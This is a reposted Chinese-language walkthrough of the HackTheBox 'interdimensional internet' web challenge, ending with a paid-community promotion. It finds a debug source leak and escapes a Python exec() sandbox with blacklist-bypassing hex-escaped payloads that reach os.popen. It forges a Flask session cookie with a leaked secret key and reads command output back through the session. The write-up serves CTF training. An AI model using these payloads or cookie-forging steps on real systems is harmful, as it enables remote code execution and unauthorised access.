【HackTheBox】攻克靶机实战interdimensional internet攻略分享

admin 2023年5月16日08:21:43评论20 views字数 5032阅读16分46秒阅读模式

【HackTheBox】攻克靶机实战interdimensional internet攻略分享

信息收集

访问网站,查看页面基本信息

【HackTheBox】攻克靶机实战interdimensional internet攻略分享

 

访问页面,页面无超链接等其他功能。控制台、网络均无可利用点.



抓包,看sessionjwt特征

【HackTheBox】攻克靶机实战interdimensional internet攻略分享 

将之解码后发现measurementsbase64特征,解码后得11+39=50

【HackTheBox】攻克靶机实战interdimensional internet攻略分享

与响应页面中显示的数字一致。

【HackTheBox】攻克靶机实战interdimensional internet攻略分享

响应包的session解码后参数可展示在响应页面。请求包session为空,再次刷新页面,相应包session与展示数字一并改变。

【HackTheBox】攻克靶机实战interdimensional internet攻略分享

只能说发现了响应包session与页面展示规律。并无突破思路。

目录扫描

【HackTheBox】攻克靶机实战interdimensional internet攻略分享


可见/debug超链接

查看源代码

【HackTheBox】攻克靶机实战interdimensional internet攻略分享

访问/debug页面,可见网站源码

【HackTheBox】攻克靶机实战interdimensional internet攻略分享

多次出现/debug的提示,证明该处应为关键突破点。

代码分析

【HackTheBox】攻克靶机实战interdimensional internet攻略分享


calc函数包含名命令执行exec()exec中为session2个参数拼成的新字符串。

由此,可构造session进行jwt编码,以执行命令。

漏洞利用

满足条件的payload,构造过程如下:

1》构造执行命令

2》绕过黑名单

3ingredientmeasurements均不为空,且20<=recipe<300

4Flask客户端session伪造

5》优化执行命令

6》获得flag

1》构造执行命令

exec执行print成功

【HackTheBox】攻克靶机实战interdimensional internet攻略分享

通过命令执行漏洞获得flag。突破口应是ls列出文件,定位flag文件,并进行读取flag

执行ls

【HackTheBox】攻克靶机实战interdimensional internet攻略分享

本地尝试exec执行ls

【HackTheBox】攻克靶机实战interdimensional internet攻略分享

报错:__import__ not found

Googlessti hackticks python

【HackTheBox】攻克靶机实战interdimensional internet攻略分享

将语句写入脚本

【HackTheBox】攻克靶机实战interdimensional internet攻略分享

说明().__class__.__base__.__subclasses__()warnings.catch_warnings可以导入import os成功执行命令。

为简化语句,打印出warnings.catch_warnings所在数组的位置:60

【HackTheBox】攻克靶机实战interdimensional internet攻略分享

语句简化为:

().__class__.__base__.__subclasses__()[60]()._module.__builtins__['__import__']('os').popen("dir").read()

【HackTheBox】攻克靶机实战interdimensional internet攻略分享

线上环境也可能是linux,所以也可能是:

().__class__.__base__.__subclasses__()[60]()._module.__builtins__['__import__']('os').popen("ls").read()

这边猜测是linux环境。

2》绕过黑名单

不能包含以下四个字符[(_.

用以下方式绕过。\282print转为(

【HackTheBox】攻克靶机实战interdimensional internet攻略分享

同样方式转换

\x28 (

\x5b [

\x5f _

\x2e .

故执行命令语句经转换后为:

\x28)\x2e\x5f\x5fclass\x5f\x5f\x2e\x5f\x5fbase\x5f\x5f\x2e\x5f\x5fsubclasses\x5f\x5f\x28)\x5b60]\x28)\x2e\x5fmodule\x2e\x5f\x5fbuiltins\x5f\x5f\x5b'\x5f\x5fimport\x5f\x5f']\x28'os')\x2epopen\x28"ls")\x2eread\x28)

3ingredientmeasurements均不为空,且20<=recipe<300

{'ingredient': b'\x28)\x2e\x5f\x5fclass\x5f\x5f\x2e\x5f\x5fbase\x5f\x5f\x2e\x5f\x5fsubclasses\x5f\x5f\x28)\x5b60]\x28)\x2e\x5fmodule\x2e\x5f\x5fbuiltins\x5f\x5f\x5b'\x5f\x5fimport\x5f\x5f']\x28'os')\x2epopen\x28"ls")\x2eread\x28)', 'measurements': b'7-4'}

4Flask客户端session伪造

git clone https://github.com/noraj/flask-session-cookie-manager.git

cd flask-session-cookie-manager/

python3 -m pip install Flask

访问页面抓包获得session进行解码

python3 flask_session_cookie_manager3.py decode -s "tlci0GhK8n5A18K1GTx6KPwfYjuuftWw" -c "eyJpbmdyZWRpZW50Ijp7IiBiIjoiYzNweGFXSnBaMlowY2c9PSJ9LCJtZWFzdXJlbWVudHMiOnsiIGIiOiJNelVyTkRnPSJ9fQ.YrMHfA.XME1AvAKBalRQ0n74pr-dvx4I3U"

 


解码为:

{'ingredient': b'szqibigftr', 'measurements': b'35+48'}

使用如下命令进行编码:

python3 flask_session_cookie_manager3.py encode -s "tlci0GhK8n5A18K1GTx6KPwfYjuuftWw" -t "{'ingredient': b' \x28)\x2e\x5f\x5fclass\x5f\x5f\x2e\x5f\x5fbase\x5f\x5f\x2e\x5f\x5fsubclasses\x5f\x5f\x28)\x5b60]\x28)\x2e\x5fmodule\x2e\x5f\x5fbuiltins\x5f\x5f\x5b'\x5f\x5fimport\x5f\x5f']\x28'os')\x2epopen\x28"ls")\x2eread\x28)', 'measurements': b'35+48'}"

编码后的session重新发请求 

【HackTheBox】攻克靶机实战interdimensional internet攻略分享

说明过滤的[(_.关键字无效。需进一步进行语句转换。

防止\被转义,变成\\

python3 flask_session_cookie_manager3.py encode -s "tlci0GhK8n5A18K1GTx6KPwfYjuuftWw" -t "{'ingredient': b'\\x28)\\x2e\\x5f\\x5fclass\\x5f\\x5f\\x2e\\x5f\\x5fbase\\x5f\\x5f\\x2e\\x5f\\x5fsubclasses\\x5f\\x5f\\x28)\\x5b60]\\x28)\\x2e\\x5fmodule\\x2e\\x5f\\x5fbuiltins\\x5f\\x5f\\x5b'\\x5f\\x5fimport\\x5f\\x5f']\\x28'os')\\x2epopen\\x28"ls")\\x2eread\\x28)', 'measurements': b'35+48'}" 

【HackTheBox】攻克靶机实战interdimensional internet攻略分享

转义问题已经解决,不报错了。但是返回包cookie没了。执行ls后的结果如何能展示出来?

5》优化执行命令

使用flask.sessionls命令执行的结果展示在响应包中的sessionx参数,将之打印。

exec"i=().__class__.__base__.__subclasses__()[59]()._module.__builtins__['__import__'];i('flask').session['x']=i('os').popen('ls').read()"#

转换为

exec"i=\\x28)\\x2e\\x5f\\x5fclass\\x5f\\x5f\\x2e\\x5f\\x5fbase\\x5f\\x5f\\x2e\\x5f\\x5fsubclasses\\x5f\\x5f\\x28)\\x5b59]\\x28)\\x2e\\x5fmodule\\x2e\\x5f\\x5fbuiltins\\x5f\\x5f\\x5b'\\x5f\\x5fimport\\x5f\\x5f'];i\\x28'flask')\\x2esession\\x5b'x']=i\\x28'os')\\x2epopen\\x28'ls')\\x2eread\\x28)"#

Session编码

python3 flask_session_cookie_manager3.py encode -s "tlci0GhK8n5A18K1GTx6KPwfYjuuftWw" -t "{'ingredient':b'exec"i=\\x28)\\x2e\\x5f\\x5fclass\\x5f\\x5f\\x2e\\x5f\\x5fbase\\x5f\\x5f\\x2e\\x5f\\x5fsubclasses\\x5f\\x5f\\x28)\\x5b59]\\x28)\\x2e\\x5fmodule\\x2e\\x5f\\x5fbuiltins\\x5f\\x5f\\x5b'\\x5f\\x5fimport\\x5f\\x5f'];i\\x28'flask')\\x2esession\\x5b'x']=i\\x28'os')\\x2epopen\\x28'ls')\\x2eread\\x28)"#', 'measurements': b'4+25'}" 

【HackTheBox】攻克靶机实战interdimensional internet攻略分享

响应包中session解码 

【HackTheBox】攻克靶机实战interdimensional internet攻略分享

获得session响应包中x参数,即为ls执行返回内容。

存在文件totally_not_a_loooooooong_flaaaaag

6》获得flag

构造session以查看文件内容。 

【HackTheBox】攻克靶机实战interdimensional internet攻略分享

根据响应包中session解码获得响应包中session参数x的内容,即为flag

如果你喜欢巫巫的原创文章,推荐加入巫巫的社群(72小时内可申请退款)。

▎  我建立这个星球来沉淀有价值的内容,更好地帮助小伙伴提升自己。 

▎  很多小伙伴都添加我的微信,向我提问越来越多,随便回答不太好,如果不回答也不好,如果都仔细回答,是真的回答不过来!

   后来发现可以建立知识星球,我会花费时间在这个星球上用以解决这一问题。

   进入星球你需要注意:

1.如果是伸手党,请离开,星球的本质是解决问题思路,而不是解决懒惰。

2.如果你是个爱思考的小伙伴,我们愿意分享知识总结,与你一起进步。

3.星球旨在为有疑问和困惑的人提供有价值的帮助和支持,鼓励读者通过自己的思考和努力来解决问题。

4.涉及知识面:漏洞挖掘、CTF、企业安全建设、网络边界安全、GAN网络、web3.0安全、安全运营、打击涉网犯罪、哲学法家、等行业全知识面覆盖

5.提供咨询服务,按问题小时付费,语音沟通,满意付款。

【HackTheBox】攻克靶机实战interdimensional internet攻略分享



合抱之木,生于毫末。

九层之台,起于累土。

每一次努力和积累,都是在为网络安全领域的发展贡献自己的一份力量。

感谢您一直以来的支持和关注!



【HackTheBox】攻克靶机实战interdimensional internet攻略分享

如何打击互联网黑灰色产业链犯罪:我总结了6个关键点

隐藏的危险:Apache Superset三个RCE漏洞浅析

一篇完整的甲方内部防钓鱼演练方案【可直接抄作业】

阿里云WAF3.0命令执行Bypass,也是WAF的通病

漏洞治理难度大?建立完善的漏洞管理流程是关键!

从Prompt注入到命令执行:探究LLM大型语言模型中 OpenAI的风险点

如何在TG群中获取用户真实IP?这些手段教你轻松实现【附代码】

漏洞治理难度大?建立完善的漏洞管理流程是关键!

【盗币科普】你可千万不能这样盗别人的虚拟货币钱包

关于打击跨境网络赌博犯罪,我们如何侦查?我的建议和想法

【完结篇】微信泄露手机号事件的回顾与总结

批量截获机场节点:科学上网工具安全分析

防范虚拟货币钱包盗窃:揭秘非Approve的新型盗U诈骗手段(终极版)

【欺负老实人】在chatgpt Prompt中注入攻击代码,截取跟踪用户信息,钓鱼XSS。

一次完整的GPT-4代码审计,挖掘CMSeasy漏洞

我使用ChatGPT审计代码发现了200多个安全漏洞(GPT-4与GPT-3对比报告)

从零开始,手把手教您如何开通ChatGPT Plus开启GPT-4之旅(depay,nobepay,某宝)

Burpsuite最新版+四款Burpsuite插件,帮你扫描JS文件中的URL链接!


原文始发于微信公众号(安全女巫):【HackTheBox】攻克靶机实战interdimensional internet攻略分享

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月16日08:21:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【HackTheBox】攻克靶机实战interdimensional internet攻略分享https://cn-sec.com/archives/1733463.html

发表评论

匿名网友 填写信息